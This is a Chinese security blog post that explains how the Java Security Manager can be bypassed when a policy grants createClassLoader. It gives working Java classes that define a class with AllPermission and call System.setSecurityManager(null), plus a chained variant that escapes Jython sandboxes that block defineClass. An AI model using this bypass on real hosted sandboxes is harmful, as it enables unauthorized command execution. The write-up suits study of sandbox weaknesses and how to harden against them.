[+] Author: Demon
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2016-12-30

JSM(Java Security Manager),又名java安全管理器,经常被用于java进程中的一些权限限制和保护的作用,类似 php 中的 disable_functions ,但 disable_functions 主要是针对函数的禁用操作,而JSM更偏向于运行时的授权检查,根据配置好的安全策略来执行。一般启用 JSM 只要在启动 java 进程的时候加入参数即可,比如:

java -Djava.security.manager-Djava.security.policy=/home/yourPolicy.policy -jar application.jar

而/home/yourPolicy.policy则是用户自行配制的策略文件,一般长这样:

grant {
    permission java.io.FilePermission "/home/secret.txt", "read";
};

这就表示这个java进程对secret文件只有只读的权限。而本文主要总结一下当策略文件被赋予了"createClassLoader"时,能够bypass整个JSM策略的方法。当然,createClassLoader只是最基础的一个权限,其实很多类似的权限都有同样的问题。

其实很早之前空虚浪子心(kxlzx)就有写到过他是如何利用 creatClassLoader 来绕过SAE的沙箱,笔者只是在此基础上做了一个延伸。先来看下 createClassLoader 这个权限是个啥东西,简单来说,createClassLoader就是能够让你的 java 程序拥有建立一个 ClassLoader 的权限。而ClassLoader又是什么呢?我们都知道java程序会编译成 class 文件最终由 JVM 加载执行,ClassLoader则是一个容器或者说是加载器,把java程序涉及的class文件都加载到内存里来,这样 java 里需要引用到其他类就能够在一个容器里成功引用了。

而利用 createClassLoader 来绕过权限检查的原理则是我们拥有建立一个自己的ClassLoader的权限,我们完全可以在这个 ClassLoader 中建立自己的一个class,并赋予一个新的JSM策略,这个策略也可以是个null,也就是关闭了整个java安全管理器。核心在 ClassLoader 存在一个方法叫 defineClass ,defineClass允许接受一个参数 ProtectionDomain ,我们能够自建一个 ProtectionDomain 将自己配制好的权限设置进去,define 出来的 class 则拥有新的权限。核心绕过的代码如下:

public class PayloadClassLoader extends ClassLoader implements Serializable {

    private static final long serialVersionUID = -7072212342699783162L;
    public static PayloadClassLoader instance = null;

    public void loadIt() throws IOException, InstantiationException,
            IllegalAccessException {

        ByteArrayOutputStream localObject1;
        byte[] localObject2;
        InputStream localObject3;

        localObject1 = new ByteArrayOutputStream();
        localObject2 = new byte[8192];

        localObject3 = super.getClass().getResourceAsStream("/Payloader.class");
        int j;
        while ((j = (localObject3).read(localObject2)) > 0) {

            (localObject1).write(localObject2, 0, j);
        }
        localObject2 = (localObject1).toByteArray();

        URL localURL = new URL("file:///");
        Class localClass;

        Certificate[] arrayOfCertificate = new Certificate[0];

        Permissions localPermissions = new Permissions();
        localPermissions.add(new AllPermission());

        ProtectionDomain localProtectionDomain = new ProtectionDomain(
                new CodeSource(localURL, arrayOfCertificate), localPermissions);
        localClass = defineClass("Payloader", localObject2, 0,
                localObject2.length, localProtectionDomain);
        localClass.newInstance();

    }
}

首先新建的类需要继承ClassLoader类,然后看到loadIt方法,在调用defineClass的时候,带入的最后一个参数localProtectionDomain是我们新建的一个权限域,而里边拥有的权限则为AllPermission;最后产生的localClass是啥呢,从代码看到其实是Payloader.class这个类,这个类的代码如下:

public class Payloader implements PrivilegedExceptionAction, Serializable {


    private static final long serialVersionUID = 635880182647064891L;

    public Payloader() {
        try {
            AccessController.doPrivileged(this);
        } catch (PrivilegedActionException e) {
            e.printStackTrace();
        }

    }

    @Override
    public Object run() throws Exception {

        // disable the security manager ;-)
        System.setSecurityManager(null);
        return null;
    }

}

从代码中就能看出来,其实核心的就是 System.setSecurityManager(null); 将整个安全管理器设置为null,达到 bypass 的效果。此时 localClass.newInstance() 之后我们再执行相关的任意文件读取或者是命令执行,就不会再提示没有权限执行了。

值得注意的是,createClassLoader权限其实经常会被开放出来,是由于其本身业务使用到了createClassLoader权限,如果禁止掉,则很有可能业务跑不起来,所以这个权限经常会被开放。譬如在Jython环境中,很多时候也用到了 JSM 策略来防止用户执行意料之外的 Jython 代码。但为了保证Jython代码能够正常运行,通常会开放 createClassLoader ,此时我们也能够利用上述方法来bypass安全策略。我们只需要调用:

self.super__defineClass(name, data, 0, len(data), self.codeSource)

则为调用父类ClassLoader的defineClass方法来绕过安全策略。原理都是类似的,只是把java的语法转换成python语法罢了。但之前笔者发现,有人在Jython中做了个脚本语言层面的检查,将用户提交的脚本的defineClass这个函数给禁用掉了。导致我们无法在代码里调用defineClass。但是没有关系,在Jython的官方API中,提供了一个名叫 org.python.core.BytecodeLoader.Loader的 包,里面含有一个方法叫loadClassFromBytes,在官方文档中是这么定义的:

public Class<?> loadClassFromBytes(String name,
                                   byte[] data)

其实如果看 Jython 的源代码可以发现,loadClassFromBytes的实现其实也是调用了 defineClass ,不过细心的同学可以发现,loadClassFromBytes方法没有提供 ProtectionDomain 这个参数了,那该怎么利用它来 bypass 呢。没错,聪明的你可能已经想到了。我们可以利用 loadClassFromBytes 方法来加载一个类A,而被加载的类A中可以再调用 defineClass 来再加载另一个类B。而这个时候就能够在类A中使用defineClass时加入自己的ProtectionDomain了,机智如我。类A的代码如下:

public class PayloadClassLoader1 extends ClassLoader implements Serializable {

    private static final long serialVersionUID = -7072212342699783162L;
    public static PayloadClassLoader instance = null;

    public byte[] getPayload(){

        return new byte[]{ -54, -2, -70, -66,.....省略.... 0, 2, 0, 27};

    }

    public ProtectionDomain getlpd() throws MalformedURLException {
        URL ll = new URL("file:///");
        Certificate[] ac = new Certificate[0];
        Permissions lp = new Permissions();
        lp.add(new AllPermission());
        ProtectionDomain lpd = new ProtectionDomain(new CodeSource(ll, ac), lp);
        return lpd;
    }


    public void loadIt() throws IOException, InstantiationException, IllegalAccessException {
        byte[] lo;
        lo = getPayload();
        ProtectionDomain lpd = getlpd();
        Class lc;
        lc = defineClass("Payloader", lo, 0, lo.length, lpd);
        lc.newInstance();
        System.out.println("success!");
    }

    public static void main(String[] args) throws Exception {
        new PayloadClassLoader().loadIt();
    }
}

类B的话其实就是 getPayload 方法中的一堆byte数组了。而类B的代码就是上文提到的System.setSecurityManager(null)的类。用来关闭整个安全管理器的。然后紧接着将类A转化成byte数组,再利用 Jython 的 loadClassFromBytes 来加载,运行。吧唧,运行出错,傻眼了。报了一个defineClass时超过长度限制的错误,经过一番代码优化,发现类A的大小还是不符合,依旧超过长度限制。经过一番搜索研究发现,这里有个小tips能够在java编译成class文件时压缩大小,让编译出来的class文件尽可能小,利用的命令如下:

    java -g:none PayloadClassLoader1.java

编译出来的 class 文件再转成bytes数组,再次利用 loadClassFromBytes ,此时终于成功运行,最终绕过了 JSM 策略和 Jython 中禁用 defineClass 函数的限制,成功执行命令了。

参考资料


源链接

Hacking more

...